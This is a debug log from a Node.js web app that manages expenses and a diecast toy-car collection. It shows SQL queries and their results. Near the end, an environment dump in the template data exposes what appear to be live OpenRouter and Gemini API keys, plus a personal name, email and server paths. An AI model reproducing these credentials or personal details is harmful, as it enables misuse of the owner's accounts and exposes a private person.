    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:34:32.364Z server-connect:app Executing action step identify
2026-02-04T10:34:32.364Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:32.364Z server-connect:output identity: 1
2026-02-04T10:34:32.364Z server-connect:app Executing action step restrict
2026-02-04T10:34:32.364Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:32.365Z server-connect:output restrict: undefined
2026-02-04T10:34:32.365Z server-connect:app Executing action step single
2026-02-04T10:34:32.365Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:34:32.366Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:34:32.367Z server-connect:output restrict: undefined
2026-02-04T10:34:32.367Z server-connect:app Executing action step select
2026-02-04T10:34:32.367Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:34:32.367Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:34:32.369Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:34:32.370Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:34:32.372Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:34:32.372Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:34:32.372Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:34:32.372Z server-connect:app Executing action step identify
2026-02-04T10:34:32.372Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:32.372Z server-connect:output identity: 1
2026-02-04T10:34:32.372Z server-connect:app Executing action step restrict
2026-02-04T10:34:32.372Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:32.372Z server-connect:app Executing action step identify
2026-02-04T10:34:32.372Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:32.373Z server-connect:output identity: 1
2026-02-04T10:34:32.373Z server-connect:app Executing action step restrict
2026-02-04T10:34:32.373Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:32.373Z server-connect:app Executing action step identify
2026-02-04T10:34:32.373Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:32.373Z server-connect:output identity: 1
2026-02-04T10:34:32.373Z server-connect:app Executing action step restrict
2026-02-04T10:34:32.373Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:32.373Z server-connect:output restrict: undefined
2026-02-04T10:34:32.373Z server-connect:app Executing action step select
2026-02-04T10:34:32.373Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:34:32.373Z server-connect:app Executing action step identify
2026-02-04T10:34:32.373Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:32.373Z server-connect:output identity: 1
2026-02-04T10:34:32.374Z server-connect:app Executing action step restrict
2026-02-04T10:34:32.374Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:32.374Z server-connect:output restrict: undefined
2026-02-04T10:34:32.374Z server-connect:app Executing action step paged
2026-02-04T10:34:32.374Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:34:32.375Z server-connect:output restrict: undefined
2026-02-04T10:34:32.375Z server-connect:app Executing action step select
2026-02-04T10:34:32.375Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:34:32.376Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:34:32.376Z server-connect:output restrict: undefined
2026-02-04T10:34:32.376Z server-connect:app Executing action step select
2026-02-04T10:34:32.376Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:34:32.377Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:34:32.377Z server-connect:app Executing action step select
2026-02-04T10:34:32.377Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:34:32.378Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:34:32.378Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:34:32.378Z server-connect:app Executing action step select
2026-02-04T10:34:32.379Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:34:32.379Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:34:32.386Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:34:32.602Z server-connect:router Serving templateView /
2026-02-04T10:34:32.602Z server-connect:app Executing action step identify
2026-02-04T10:34:32.602Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:32.602Z server-connect:output identity: 1
2026-02-04T10:34:32.602Z server-connect:app Executing action step restrict
2026-02-04T10:34:32.602Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:32.602Z server-connect:output restrict: undefined
2026-02-04T10:34:32.602Z server-connect:app Executing action step restrict
2026-02-04T10:34:32.602Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:32.603Z server-connect:output restrict: undefined
2026-02-04T10:34:32.603Z server-connect:router Render template layouts/main
2026-02-04T10:34:32.603Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
